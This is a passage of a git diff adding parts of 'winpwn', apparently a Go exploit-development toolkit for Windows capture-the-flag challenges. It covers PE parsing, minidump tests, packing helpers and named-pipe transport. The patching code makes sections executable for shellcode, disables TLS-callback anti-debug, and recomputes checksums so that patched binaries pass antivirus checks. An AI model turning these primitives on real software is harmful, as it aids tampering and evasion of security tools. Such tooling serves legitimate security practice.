[]byte { + t.Helper() + + const ( + headerSize = 32 + directorySize = 12 * 2 // two streams + ) + + moduleName := "ntdll.dll" + nameUTF16 := utf16.Encode([]rune(moduleName)) + nameBytes := make([]byte, 2*len(nameUTF16)) + for i, u := range nameUTF16 { + binary.LittleEndian.PutUint16(nameBytes[i*2:], u) + } + // MINIDUMP_STRING: Length (byte count, no terminator) + UTF-16 buffer + NUL. + moduleNameStream := make([]byte, 4+len(nameBytes)+2) + binary.LittleEndian.PutUint32(moduleNameStream[0:4], uint32(len(nameBytes))) + copy(moduleNameStream[4:], nameBytes) + + moduleNameOff := uint32(headerSize + directorySize) + moduleListOff := moduleNameOff + uint32(len(moduleNameStream)) + + // MINIDUMP_MODULE_LIST: NumberOfModules(4) + one MINIDUMP_MODULE(108). + moduleList := make([]byte, 4+sizeofMinidumpModule) + binary.LittleEndian.PutUint32(moduleList[0:4], 1) + mod := moduleList[4:] + binary.LittleEndian.PutUint64(mod[0:8], 0x00007FFE12340000) // BaseOfImage + binary.LittleEndian.PutUint32(mod[8:12], 0x00200000) // SizeOfImage + binary.LittleEndian.PutUint32(mod[16:20], 0x5F000000) // TimeDateStamp + binary.LittleEndian.PutUint32(mod[20:24], moduleNameOff) // ModuleNameRva + + exceptionOff := moduleListOff + uint32(len(moduleList)) + exception := make([]byte, sizeofMinidumpExceptionStream) + binary.LittleEndian.PutUint32(exception[0:4], 1337) // ThreadId + exc := exception[8:] + binary.LittleEndian.PutUint32(exc[0:4], 0xC0000005) // ExceptionCode (access violation) + binary.LittleEndian.PutUint64(exc[16:24], 0x00007FFE12341234) // ExceptionAddress + binary.LittleEndian.PutUint32(exc[24:28], 2) // NumberParameters + binary.LittleEndian.PutUint64(exc[32:40], 1) // Parameters[0]: write access + binary.LittleEndian.PutUint64(exc[40:48], 0xDEADBEEF) // Parameters[1]: faulting address + + total := int(exceptionOff) + len(exception) + out := make([]byte, total) + + binary.LittleEndian.PutUint32(out[0:4], minidumpSignature) + binary.LittleEndian.PutUint32(out[8:12], 2) // NumberOfStreams + binary.LittleEndian.PutUint32(out[12:16], headerSize) // StreamDirectoryRva + + dir := out[headerSize:] + binary.LittleEndian.PutUint32(dir[0:4], uint32(StreamModuleList)) + binary.LittleEndian.PutUint32(dir[4:8], uint32(len(moduleList))) + binary.LittleEndian.PutUint32(dir[8:12], moduleListOff) + binary.LittleEndian.PutUint32(dir[12:16], uint32(StreamException)) + binary.LittleEndian.PutUint32(dir[16:20], uint32(len(exception))) + binary.LittleEndian.PutUint32(dir[20:24], exceptionOff) + + copy(out[moduleNameOff:], moduleNameStream) + copy(out[moduleListOff:], moduleList) + copy(out[exceptionOff:], exception) + + return out +} + +func TestMinidumpModules(t *testing.T) { + raw := buildSyntheticMinidump(t) + m, err := newMinidump(bytes.NewReader(raw)) + if err != nil { + t.Fatal(err) + } + defer m.Close() + + mods, err := m.Modules() + if err != nil { + t.Fatal(err) + } + if len(mods) != 1 { + t.Fatalf("got %d modules, want 1", len(mods)) + } + if mods[0].Name != "ntdll.dll" { + t.Errorf("module name = %q, want %q", mods[0].Name, "ntdll.dll") + } + if mods[0].BaseOfImage != 0x00007FFE12340000 { + t.Errorf("BaseOfImage = 0x%X, want 0x7FFE12340000", mods[0].BaseOfImage) + } + if mods[0].SizeOfImage != 0x00200000 { + t.Errorf("SizeOfImage = 0x%X, want 0x200000", mods[0].SizeOfImage) + } +} + +func TestMinidumpException(t *testing.T) { + raw := buildSyntheticMinidump(t) + m, err := newMinidump(bytes.NewReader(raw)) + if err != nil { + t.Fatal(err) + } + defer m.Close() + + exc, err := m.Exception() + if err != nil { + t.Fatal(err) + } + if exc.ThreadID != 1337 { + t.Errorf("ThreadID = %d, want 1337", exc.ThreadID) + } + if exc.ExceptionCode != 0xC0000005 { + t.Errorf("ExceptionCode = 0x%X, want 0xC0000005", exc.ExceptionCode) + } + if exc.ExceptionAddress != 0x00007FFE12341234 { + t.Errorf("ExceptionAddress = 0x%X, want 0x7FFE12341234", exc.ExceptionAddress) + } + if len(exc.Parameters) != 2 || exc.Parameters[0] != 1 || exc.Parameters[1] != 0xDEADBEEF { + t.Errorf("Parameters = %v, want [1 0xDEADBEEF]", exc.Parameters) + } +} + +func TestMinidumpRejectsBadSignature(t *testing.T) { + raw := buildSyntheticMinidump(t) + binary.LittleEndian.PutUint32(raw[0:4], 0xDEADBEEF) + if _, err := newMinidump(bytes.NewReader(raw)); err == nil { + t.Error("expected an error for a bad minidump signature") + } +} + +func TestMinidumpRawStream(t *testing.T) { + raw := buildSyntheticMinidump(t) + m, err := newMinidump(bytes.NewReader(raw)) + if err != nil { + t.Fatal(err) + } + defer m.Close() + + data, err := m.RawStream(StreamModuleList) + if err != nil { + t.Fatal(err) + } + if got := binary.LittleEndian.Uint32(data[0:4]); got != 1 { + t.Errorf("RawStream(StreamModuleList) NumberOfModules = %d, want 1", got) + } + + if _, err := m.RawStream(StreamSystemInfo); err == nil { + t.Error("expected an error for an absent stream type") + } +} diff --git a/packing.go b/packing.go new file mode 100644 index 0000000..594e2de --- /dev/null +++ b/packing.go @@ -0,0 +1,39 @@ +package winpwn + +import "encoding/binary" + +// P16 packs a uint16 into a little-endian byte slice. +func P16(val uint16) []byte { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, val) + return b +} + +// P32 packs a uint32 into a little-endian byte slice. +func P32(val uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, val) + return b +} + +// P64 packs a uint64 into a little-endian byte slice. +func P64(val uint64) []byte { + b := make([]byte, 8) + binary.LittleEndian.PutUint64(b, val) + return b +} + +// U16 unpacks a little-endian uint16 from the first 2 bytes of b. +func U16(b []byte) uint16 { + return binary.LittleEndian.Uint16(b) +} + +// U32 unpacks a little-endian uint32 from the first 4 bytes of b. +func U32(b []byte) uint32 { + return binary.LittleEndian.Uint32(b) +} + +// U64 unpacks a little-endian uint64 from the first 8 bytes of b. +func U64(b []byte) uint64 { + return binary.LittleEndian.Uint64(b) +} diff --git a/packing_test.go b/packing_test.go new file mode 100644 index 0000000..b2f5a01 --- /dev/null +++ b/packing_test.go @@ -0,0 +1,27 @@ +package winpwn + +import ( + "bytes" + "testing" +) + +func TestPackLittleEndian(t *testing.T) { + if !bytes.Equal(P16(0x1234), []byte{0x34, 0x12}) { + t.Error("P16(0x1234) is not little-endian") + } + if !bytes.Equal(P32(0xDEADBEEF), []byte{0xEF, 0xBE, 0xAD, 0xDE}) { + t.Error("P32(0xDEADBEEF) is not little-endian") + } +} + +func TestPackUnpackRoundTrip(t *testing.T) { + if U16(P16(0xBEEF)) != 0xBEEF { + t.Error("U16(P16) round trip failed") + } + if U32(P32(0xDEADBEEF)) != 0xDEADBEEF { + t.Error("U32(P32) round trip failed") + } + if U64(P64(0x0102030405060708)) != 0x0102030405060708 { + t.Error("U64(P64) round trip failed") + } +} diff --git a/patch.go b/patch.go new file mode 100644 index 0000000..ab8534f --- /dev/null +++ b/patch.go @@ -0,0 +1,238 @@ +package winpwn + +import ( + "debug/pe" + "encoding/binary" + "errors" + "os" + "unsafe" +) + +// OpenPEForWrite opens a PE file read-write, for the patching methods below. +// Plain OpenPE is read-only by design; writing is opt-in so a script can't +// accidentally corrupt a target binary it only meant to inspect. +func OpenPEForWrite(path string) (*PEFile, error) { + fd, err := os.OpenFile(path, os.O_RDWR, 0) + if err != nil { + return nil, err + } + f, err := pe.NewFile(fd) + if err != nil { + fd.Close() + return nil, err + } + info, err := fd.Stat() + if err != nil { + fd.Close() + return nil, err + } + return &PEFile{File: f, r: fd, w: fd, closer: fd, size: info.Size()}, nil +} + +// PatchBytes overwrites the file's contents at the given RVA with data, the +// general-purpose "patch on the fly" primitive. +func (p *PEFile) PatchBytes(rva uint32, data []byte) error { + offset := p.RVAToFileOffset(rva) + if offset == 0 { + return errors.New("RVA does not map to any section") + } + return p.PatchBytesAtOffset(offset, data) +} + +// PatchBytesAtOffset overwrites the file's contents at a raw file offset. +func (p *PEFile) PatchBytesAtOffset(offset int64, data []byte) error { + return p.writeAt(offset, data) +} + +// peHeaderOffset reads e_lfanew (at the fixed DOS-header offset 0x3C) to +// find where the "PE\0\0" header begins. +func (p *PEFile) peHeaderOffset() (int64, error) { + var lfanew uint32 + if err := p.readStructAt(0x3C, &lfanew); err != nil { + return 0, err + } + return int64(lfanew), nil +} + +// coffHeaderOffset returns the file offset of the COFF File Header, right +// after the 4-byte "PE\0\0" signature. +func (p *PEFile) coffHeaderOffset() (int64, error) { + peOffset, err := p.peHeaderOffset() + if err != nil { + return 0, err + } + return peOffset + 4, nil +} + +// optionalHeaderOffset returns the file offset of the Optional Header, +// right after the fixed 20-byte COFF File Header. +func (p *PEFile) optionalHeaderOffset() (int64, error) { + coffOffset, err := p.coffHeaderOffset() + if err != nil { + return 0, err + } + return coffOffset + 20, nil +} + +// sectionHeaderTableOffset returns the file offset of the first +// IMAGE_SECTION_HEADER entry, right after the Optional Header. +func (p *PEFile) sectionHeaderTableOffset() (int64, error) { + optOffset, err := p.optionalHeaderOffset() + if err != nil { + return 0, err + } + return optOffset + int64(p.File.FileHeader.SizeOfOptionalHeader), nil +} + +// imageSectionHeaderSize and the byte offset of the Characteristics field +// within it (IMAGE_SECTION_HEADER: Name[8] + 6 DWORDs + 2 WORDs + Characteristics DWORD). +const ( + imageSectionHeaderSize = 40 + imageSectionHeaderCharacteristicsOff = 36 +) + +// SetSectionCharacteristics overwrites a section's Characteristics flags +// directly in the section header — e.g. to flip on IMAGE_SCN_MEM_EXECUTE for +// a section you want to use as shellcode landing space. Requires a PEFile +// opened with OpenPEForWrite. +func (p *PEFile) SetSectionCharacteristics(name string, characteristics uint32) error { + tableOffset, err := p.sectionHeaderTableOffset() + if err != nil { + return err + } + for i, sec := range p.File.Sections { + if sec.Name != name { + continue + } + headerOffset := tableOffset + int64(i)*imageSectionHeaderSize + var buf [4]byte + binary.LittleEndian.PutUint32(buf[:], characteristics) + return p.PatchBytesAtOffset(headerOffset+imageSectionHeaderCharacteristicsOff, buf[:]) + } + return errors.New("section not found: " + name) +} + +// MakeSectionExecutable ORs in IMAGE_SCN_MEM_EXECUTE on top of a section's +// existing characteristics (e.g. "make .data executable" for a quick and +// dirty shellcode-in-data-section trick). +func (p *PEFile) MakeSectionExecutable(name string) error { + return p.orSectionCharacteristics(name, imageSCNMemExecute) +} + +// MakeSectionWritable ORs in IMAGE_SCN_MEM_WRITE on top of a section's +// existing characteristics. +func (p *PEFile) MakeSectionWritable(name string) error { + return p.orSectionCharacteristics(name, imageSCNMemWrite) +} + +func (p *PEFile) orSectionCharacteristics(name string, flag uint32) error { + for _, sec := range p.File.Sections { + if sec.Name == name { + return p.SetSectionCharacteristics(name, sec.Characteristics|flag) + } + } + return errors.New("section not found: " + name) +} + +// imageTLSDirectory mirrors winnt.h's IMAGE_TLS_DIRECTORY32/64: same field +// order in both, only pointer-sized members change width. All fields here +// are absolute VAs, not RVAs — the one PE directory that isn't RVA-based. +type imageTLSDirectory64 struct { + StartAddressOfRawData uint64 + EndAddressOfRawData uint64 + AddressOfIndex uint64 + AddressOfCallBacks uint64 +} + +type imageTLSDirectory32 struct { + StartAddressOfRawData uint32 + EndAddressOfRawData uint32 + AddressOfIndex uint32 + AddressOfCallBacks uint32 +} + +// DisableTLSCallbacks zeroes the AddressOfCallBacks field of the TLS +// Directory, so the loader never walks (and never invokes) the callback +// array at all — the one-field patch that defeats TLS-callback-based +// anti-debug/anti-instrumentation tricks that fire before your entry point +// or your debugger's first breakpoint gets a chance to run. +func (p *PEFile) DisableTLSCallbacks() error { + h, err := p.header() + if err != nil { + return err + } + + const dirEntryTLS = 9 + dir := h.dataDirectory[dirEntryTLS] + if dir.VirtualAddress == 0 { + return errors.New("no TLS directory present") + } + offset := p.RVAToFileOffset(dir.VirtualAddress) + if offset == 0 { + return errors.New("failed to map TLS directory RVA to file offset") + } + + if h.is64 { + zeros := make([]byte, 8) + return p.PatchBytesAtOffset(offset+int64(unsafe.Offsetof(imageTLSDirectory64{}.AddressOfCallBacks)), zeros) + } + zeros := make([]byte, 4) + return p.PatchBytesAtOffset(offset+int64(unsafe.Offsetof(imageTLSDirectory32{}.AddressOfCallBacks)), zeros) +} + +// RecalculateChecksum recomputes and writes the Optional Header's PE +// checksum (the algorithm behind imagehlp's CheckSumMappedFile/MapFileAndCheckSum), +// so a binary you've patched on disk still passes loaders/AV/signing tools +// that validate it. +func (p *PEFile) RecalculateChecksum() error { + h, err := p.header() + if err != nil { + return err + } + optOffset, err := p.optionalHeaderOffset() + if err != nil { + return err + } + checksumOffset := optOffset + if h.is64 { + checksumOffset += int64(unsafe.Offsetof(pe.OptionalHeader64{}.CheckSum)) + } else { + checksumOffset += int64(unsafe.Offsetof(pe.OptionalHeader32{}.CheckSum)) + } + + data := make([]byte, p.size) + if _, err := p.r.ReadAt(data, 0); err != nil { + return err + } + + checksum := peChecksum(data, checksumOffset) + + var buf [4]byte + binary.LittleEndian.PutUint32(buf[:], checksum) + return p.PatchBytesAtOffset(checksumOffset, buf[:]) +} + +// peChecksum implements the PE checksum algorithm: sum the file as 16-bit +// little-endian words (treating the existing 4-byte checksum field as if it +// contributed zero), fold carries back into the low 16 bits, then add the +// file size. +func peChecksum(data []byte, checksumFieldOffset int64) uint32 { + var checksum uint32 + + n := len(data) + for i := 0; i < n; i += 2 { + if int64(i) == checksumFieldOffset || int64(i) == checksumFieldOffset+2 { + continue // skip the checksum field's own two words + } + var word uint32 + if i+1 < n { + word = uint32(data[i]) | uint32(data[i+1])<<8 + } else { + word = uint32(data[i]) // trailing odd byte + } + checksum = (checksum & 0xFFFF) + word + (checksum >> 16) + } + checksum = (checksum & 0xFFFF) + (checksum >> 16) + checksum += uint32(n) + return checksum +} diff --git a/pe.go b/pe.go new file mode 100644 index 0000000..a4d792b --- /dev/null +++ b/pe.go @@ -0,0 +1,222 @@ +package winpwn + +import ( + "bytes" + "debug/pe" + "encoding/binary" + "errors" + "fmt" + "io" + "os" +) + +// PEFile is a read-only-by-default handle on a PE32/PE32+ image, the winpwn +// analogue of pwntools' ELF. Unlike ELF, a PE's bytes can come from two +// meaningfully different places: a file on disk (OpenPE) or a loaded +// module's live address space inside a running process (OpenPEFromProcess). +// Every accessor in this package (checksec, IAT/EAT, gadget scanning, +// patching) is written against the r/w fields below so both backings get +// every feature for free. +type PEFile struct { + File *pe.File + + r io.ReaderAt + w io.WriterAt // nil when opened read-only + closer io.Closer // nil if there is nothing to close + size int64 // total backing size, for whole-image operations (checksum recompute) + + // live is true when r/w address a process's memory (OpenPEFromProcess) + // rather than a file's bytes (OpenPE/OpenPEForWrite). See + // RVAToFileOffset for why this changes the RVA translation. + live bool +} + +func OpenPE(path string) (*PEFile, error) { + fd, err := os.Open(path) + if err != nil { + return nil, err + } + f, err := pe.NewFile(fd) + if err != nil { + fd.Close() + return nil, err + } + info, err := fd.Stat() + if err != nil { + fd.Close() + return nil, err + } + return &PEFile{File: f, r: fd, closer: fd, size: info.Size()}, nil +} + +func (p *PEFile) Close() { + if p.closer != nil { + p.closer.Close() + } +} + +// IsLive reports whether this PEFile is backed by a running process's +// address space (OpenPEFromProcess) rather than a file on disk. +func (p *PEFile) IsLive() bool { + return p.live +} + +// peHeader normalizes the PE32 (32-bit) vs PE32+ (64-bit) optional header +// split into the fields callers actually need, so the rest of the package +// doesn't have to type-switch on pe.OptionalHeader32/64 everywhere. +type peHeader struct { + is64 bool + imageBase uint64 + addressOfEntryPoint uint32 + sizeOfImage uint32 + dllCharacteristics uint16 + dataDirectory [16]pe.DataDirectory +} + +func (p *PEFile) header() (peHeader, error) { + switch oh := p.File.OptionalHeader.(type) { + case *pe.OptionalHeader64: + return peHeader{ + is64: true, + imageBase: oh.ImageBase, + addressOfEntryPoint: oh.AddressOfEntryPoint, + sizeOfImage: oh.SizeOfImage, + dllCharacteristics: oh.DllCharacteristics, + dataDirectory: oh.DataDirectory, + }, nil + case *pe.OptionalHeader32: + return peHeader{ + is64: false, + imageBase: uint64(oh.ImageBase), + addressOfEntryPoint: oh.AddressOfEntryPoint, + sizeOfImage: oh.SizeOfImage, + dllCharacteristics: oh.DllCharacteristics, + dataDirectory: oh.DataDirectory, + }, nil + default: + return peHeader{}, errors.New("unrecognized PE optional header (not PE32 or PE32+)") + } +} + +// Is64Bit reports whether this is a PE32+ (x64) image. +func (p *PEFile) Is64Bit() (bool, error) { + h, err := p.header() + if err != nil { + return false, err + } + return h.is64, nil +} + +// ImageBase returns the preferred load address from the PE optional header +// (the Go analogue of pwntools' ELF.address when ASLR is disabled). For a +// live-process-backed PEFile this is still the header's *preferred* base, +// not necessarily where the module actually landed -- use the base passed +// to OpenPEFromProcess (e.g. from ResolveModuleBase) for the real address. +func (p *PEFile) ImageBase() (uint64, error) { + h, err := p.header() + if err != nil { + return 0, err + } + return h.imageBase, nil +} + +// EntryPoint returns the absolute address of the entry point +// (ImageBase + AddressOfEntryPoint). +func (p *PEFile) EntryPoint() (uint64, error) { + h, err := p.header() + if err != nil { + return 0, err + } + return h.imageBase + uint64(h.addressOfEntryPoint), nil +} + +// RVAToFileOffset converts a relative virtual address into the offset to +// pass to this PEFile's backing ReaderAt/WriterAt. +// +// For a disk-backed PEFile (OpenPE/OpenPEForWrite) this walks the section +// table to translate an RVA into a PointerToRawData-relative file offset -- +// necessary because SectionAlignment and FileAlignment differ, so a +// section's position in the loaded image and its position on disk aren't +// the same number. +// +// For a live-process-backed PEFile (OpenPEFromProcess) the backing +// ReaderAt/WriterAt already treats offset 0 as the module's base address, +// so "offset" already *is* the RVA: that's the entire definition of a +// relative virtual address once the image is actually loaded. This is the +// identity function in that case. +func (p *PEFile) RVAToFileOffset(rva uint32) int64 { + if p.live { + return int64(rva) + } + for _, sec := range p.File.Sections { + if rva >= sec.VirtualAddress && rva < sec.VirtualAddress+sec.VirtualSize { + return int64(rva - sec.VirtualAddress + sec.Offset) + } + } + return 0 +} + +// readCString reads a null-terminated ASCII string starting at the given +// read offset (file offset, or RVA for a live-backed PEFile -- see +// RVAToFileOffset). +func (p *PEFile) readCString(offset int64) (string, error) { + var out []byte + buf := make([]byte, 1) + for { + if _, err := p.r.ReadAt(buf, offset); err != nil { + if err == io.EOF { + break + } + return "", err + } + if buf[0] == 0 { + break + } + out = append(out, buf[0]) + offset++ + } + return string(out), nil +} + +// readStructAt fills v (a pointer to a fixed-size struct of fixed-width +// fields) by reading binary.Size(v) bytes at offset through this PEFile's +// backing ReaderAt. The one read-offset helper every struct-shaped PE +// directory parse in this package goes through, so disk and live-process +// backings share the exact same parsing code. +func (p *PEFile) readStructAt(offset int64, v any) error { + size := binary.Size(v) + if size < 0 { + return errors.New("readStructAt: unsupported type") + } + buf := make([]byte, size) + if _, err := p.r.ReadAt(buf, offset); err != nil { + return err + } + return binary.Read(bytes.NewReader(buf), binary.LittleEndian, v) +} + +// writeAt writes data at offset through this PEFile's backing WriterAt, +// failing clearly if the PEFile was opened read-only. +func (p *PEFile) writeAt(offset int64, data []byte) error { + if p.w == nil { + return errors.New("PEFile is read-only; open with OpenPEForWrite or OpenPEFromProcess(write) for write access") + } + _, err := p.w.WriteAt(data, offset) + return err +} + +// GetProcAddress looks up a function's RVA by name, the bare-bones analogue +// of the real WinAPI call of the same name. It's a thin wrapper over the +// canonical export-table walk in GetExport (exports.go); use GetExport +// directly when you need forwarder resolution or ordinal information too. +func (p *PEFile) GetProcAddress(funcName string) (uint64, error) { + exp, err := p.GetExport(funcName) + if err != nil { + return 0, err + } + if exp.RVA == 0 { + return 0, fmt.Errorf("export %q is a forwarder (%s.%s), not a local RVA -- resolve it in the target DLL instead", + funcName, exp.ForwardTarget, funcName) + } + return uint64(exp.RVA), nil +} diff --git a/pe_test.go b/pe_test.go new file mode 100644 index 0000000..9f5e94b --- /dev/null +++ b/pe_test.go @@ -0,0 +1,115 @@ +package winpwn + +import "testing" + +func TestOpenPEAndHeader(t *testing.T) { + requireFixturePE(t) + pf, err := OpenPE(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer pf.Close() + + is64, err := pf.Is64Bit() + if err != nil { + t.Fatal(err) + } + if !is64 { + t.Error("expected bof_win.c.exe to be PE32+ (x64)") + } + + base, err := pf.ImageBase() + if err != nil { + t.Fatal(err) + } + if base == 0 { + t.Error("ImageBase should not be zero") + } + + entry, err := pf.EntryPoint() + if err != nil { + t.Fatal(err) + } + if entry < base { + t.Errorf("EntryPoint 0x%x should be >= ImageBase 0x%x", entry, base) + } +} + +func TestChecksecSEHNotApplicableOnX64(t *testing.T) { + requireFixturePE(t) + pf, err := OpenPE(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer pf.Close() + + r, err := pf.Checksec() + if err != nil { + t.Fatal(err) + } + if !r.Is64Bit { + t.Fatal("expected fixture to be 64-bit") + } + if r.SEHApplicable { + t.Error("SEHApplicable should be false for an x64 binary (table-based SEH, no classic SafeSEH attack class)") + } +} + +func TestSectionsHaveAnExecutableOne(t *testing.T) { + requireFixturePE(t) + pf, err := OpenPE(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer pf.Close() + + secs := pf.Sections() + if len(secs) == 0 { + t.Fatal("expected at least one section") + } + for _, s := range secs { + if s.IsExecutable() { + return + } + } + t.Error("expected at least one executable section (.text)") +} + +func TestImportsContainKernel32(t *testing.T) { + requireFixturePE(t) + pf, err := OpenPE(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer pf.Close() + + imports, err := pf.ListImports() + if err != nil { + t.Fatal(err) + } + for _, im := range imports { + if im.DLL == "KERNEL32.dll" { + return + } + } + t.Error("expected an import from KERNEL32.dll") +} + +func TestRVAToFileOffsetMapsIntoASectionsByteRange(t *testing.T) { + requireFixturePE(t) + pf, err := OpenPE(testFixturePE) + if err != nil { + t.Fatal(err) + } + defer pf.Close() + + secs := pf.Sections() + if len(secs) == 0 { + t.Fatal("expected at least one section") + } + sec := secs[0] + offset := pf.RVAToFileOffset(sec.VirtualAddress) + if offset != int64(sec.Offset) { + t.Errorf("RVAToFileOffset(section start) = %d, want %d (sec.Offset)", offset, sec.Offset) + } +} diff --git a/pipe_other.go b/pipe_other.go new file mode 100644 index 0000000..478286b --- /dev/null +++ b/pipe_other.go @@ -0,0 +1,11 @@ +//go:build !windows + +package winpwn + +func ServePipe(name string) (*Tube, error) { + return nil, errWindowsOnly +} + +func DialPipe(name string) (*Tube, error) { + return nil, errWindowsOnly +} diff --git a/pipe_windows.go b/pipe_windows.go new file mode 100644 index 0000000..c8c926b --- /dev/null +++ b/pipe_windows.go @@ -0,0 +1,187 @@ +//go:build windows + +package winpwn + +import ( + "fmt" + "io" + "sync" + + "golang.org/x/sys/windows" +) + +const ( + pipeOutBufSize = 64 * 1024 + pipeInBufSize = 64 * 1024 +) + +// pipeConn wraps a duplex named-pipe handle opened with +// FILE_FLAG_OVERLAPPED as an io.ReadWriteCloser, the shape Tube needs for +// its stdin/stdout fields. The handle is genuinely asynchronous -- matching +// how real Windows services hold their pipe ends; a synchronous duplex +// pipe is the rarer case in production code -- but every Read/Write below +// immediately blocks on GetOverlappedResult, so the type behaves like an +// ordinary blocking reader/writer to the rest of the package. That keeps +// Tube's synchronous Send/Recv contract intact while still exercising the +// same overlapped-completion path a real target uses. +type pipeConn struct { + h windows.Handle + event windows.Handle // manual-reset event reused across overlapped calls + + closeOnce sync.Once + closeErr error +} + +func newPipeConn(h windows.Handle) (*pipeConn, error) { + ev, err := windows.CreateEvent(nil, 1 /* manual reset */, 0, nil) + if err != nil { + windows.CloseHandle(h) + return nil, fmt.Errorf("CreateEvent: %w", err) + } + return &pipeConn{h: h, event: ev}, nil +} + +func (p *pipeConn) Read(b []byte) (int, error) { + if len(b) == 0 { + return 0, nil + } + var ov windows.Overlapped + ov.HEvent = p.event + + var n uint32 + err := windows.ReadFile(p.h, b, &n, &ov) + if err != nil && err != windows.ERROR_IO_PENDING { + if err == windows.ERROR_BROKEN_PIPE || err == windows.ERROR_HANDLE_EOF { + return 0, io.EOF + } + return 0, err + } + + var transferred uint32 + if err := windows.GetOverlappedResult(p.h, &ov, &transferred, true); err != nil { + if err == windows.ERROR_BROKEN_PIPE || err == windows.ERROR_HANDLE_EOF { + return int(transferred), io.EOF + } + return int(transferred), err + } + if transferred == 0 { + return 0, io.EOF + } + return int(transferred), nil +} + +func (p *pipeConn) Write(b []byte) (int, error) { + if len(b) == 0 { + return 0, nil + } + var ov windows.Overlapped + ov.HEvent = p.event + + var n uint32 + err := windows.WriteFile(p.h, b, &n, &ov) + if err != nil && err != windows.ERROR_IO_PENDING { + return 0, err + } + + var transferred uint32 + if err := windows.GetOverlappedResult(p.h, &ov, &transferred, true); err != nil { + return int(transferred), err + } + return int(transferred), nil +} + +// Close is idempotent (sync.Once) deliberately: Tube.Close calls Close once +// via its stdin field and once via its stdout field, and stdin/stdout are +// the same *pipeConn here -- unlike net.Conn, a raw Windows HANDLE is not +// safe to pass to CloseHandle twice (the numeric value can be reused by an +// unrelated object in between). +func (p *pipeConn) Close() error { + p.closeOnce.Do(func() { + _ = windows.CloseHandle(p.event) + p.closeErr = windows.CloseHandle(p.h) + }) + return p.closeErr +} + +// ServePipe creates a duplex named pipe at \\.\pipe\ +// (PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED -- the pattern real Windows +// services use, not the rarer synchronous one) and blocks until exactly +// one client connects -- the named-pipe analogue of Spawn/Remote for the +// IPC-flavored challenges Windows uses far more than Linux pwn does. +// Returns a *Tube wired to the connected pipe end, so Send/Recv*/ +// Interactive/SetTimeout all work exactly as they do over a process or TCP +// socket. +func ServePipe(name string) (*Tube, error) { + fullName, err := windows.UTF16PtrFromString(`\\.\pipe\` + name) + if err != nil { + return nil, fmt.Errorf("invalid pipe name %q: %w", name, err) + } + + h, err := windows.CreateNamedPipe( + fullName, + windows.PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED, + windows.PIPE_TYPE_BYTE|windows.PIPE_READMODE_BYTE|windows.PIPE_WAIT, + 1, // maxInstances: one client, matching "spawn one challenge instance" + pipeOutBufSize, pipeInBufSize, + 0, // default timeout + nil, + ) + if err != nil { + return nil, fmt.Errorf("CreateNamedPipe: %w", err) + } + + conn, err := newPipeConn(h) + if err != nil { + return nil, err + } + + Info(`Waiting for a client on \\.\pipe\%s`, name) + + var ov windows.Overlapped + ov.HEvent = conn.event + err = windows.ConnectNamedPipe(conn.h, &ov) + if err != nil && err != windows.ERROR_IO_PENDING && err != windows.ERROR_PIPE_CONNECTED { + conn.Close() + return nil, fmt.Errorf("ConnectNamedPipe: %w", err) + } + if err != windows.ERROR_PIPE_CONNECTED { + var transferred uint32 + if err := windows.GetOverlappedResult(conn.h, &ov, &transferred, true); err != nil { + conn.Close() + return nil, fmt.Errorf("waiting for client connection: %w", err) + } + } + + Success(`Client connected to \\.\pipe\%s`, name) + return newTube(nil, nil, conn, conn), nil +} + +// DialPipe connects to a named pipe at \\.\pipe\ as a client (the +// CreateFile-based counterpart to ServePipe), returning a *Tube wired to +// it. +func DialPipe(name string) (*Tube, error) { + fullName, err := windows.UTF16PtrFromString(`\\.\pipe\` + name) + if err != nil { + return nil, fmt.Errorf("invalid pipe name %q: %w", name, err) + } + + h, err := windows.CreateFile( + fullName, + windows.GENERIC_READ|windows.GENERIC_WRITE, + 0, + nil, + windows.OPEN_EXISTING, + windows.FILE_FLAG_OVERLAPPED, + 0, + ) + if err != nil { + return nil, fmt.Errorf(`CreateFile(\\.\pipe\%s): %w`, name, err) + } + + conn, err := newPipeConn(h) + if err != nil { + return nil, err + } + + return newTube(nil, nil, conn, conn), nil +} diff --git a/pipe_windows_test.go b/pipe_windows_test.go new file mode 100644 index 0000000..94f687d --- /dev/null +++ b/pipe_windows_test.go @@ -0,0 +1,84 @@ +//go:build windows + +package winpwn + +import ( + "fmt" + "testing" + "time" +) + +// TestNamedPipeServerClient exercises ServePipe/DialPipe end to end: a +// goroutine plays the server (CreateNamedPipe + ConnectNamedPipe, both +// overlapped), the test goroutine plays the client (CreateFile), and both +// sides talk over the resulting *Tube exactly like any other transport. +func TestNamedPipeServerClient(t *testing.T) { + pipeName := fmt.Sprintf("winpwn_test_%d", time.Now().UnixNano()) + + serverErr := make(chan error, 1) + serverMsg := make(chan []byte, 1) + go func() { + tube, err := ServePipe(pipeName) + if err != nil { + serverErr <- err + return + } + defer tube.Close() + + got, err := tube.RecvLine() + if err != nil { + serverErr <- err + return + } + serverMsg <- got + + if err := tube.SendLine([]byte("pong")); err != nil { + serverErr <- err + return + } + serverErr <- nil + }() + + // ServePipe's CreateNamedPipe call may not have run yet; retry the + // dial briefly rather than racing it with a fixed sleep. + var client *Tube + var err error + for i := 0; i < 100; i++ { + client, err = DialPipe(pipeName) + if err == nil { + break + } + time.Sleep(20 * time.Millisecond) + } + if err != nil { + t.Fatalf("DialPipe: %v", err) + } + defer client.Close() + + if err := client.SendLine([]byte("ping")); err != nil { + t.Fatalf("client SendLine: %v", err) + } + + select { + case got := <-serverMsg: + if string(got) != "ping\n" { + t.Errorf("server received %q, want %q", got, "ping\n") + } + case err := <-serverErr: + t.Fatalf("server error: %v", err) + case <-time.After(5 * time.Second): + t.Fatal("timed out waiting for the server to receive the client's message") + } + + got, err := client.RecvLine() + if err != nil { + t.Fatalf("client RecvLine: %v", err) + } + if string(got) != "pong\n" { + t.Errorf("client received %q, want %q", got, "pong\n") + } + + if err := <-serverErr; err != nil { + t.Fatalf("server goroutine error: %v", err) + } +} diff --git a/process.go b/process.go new file mode 100644 index 0000000..6e92245 --- /dev/null +++ b/process.go @@ -0,0 +1,34 @@ +package winpwn + +import ( + "fmt" + "os/exec" + "path/filepath" +) + +// Spawn launches a local target process and wires up its stdin/stdout as 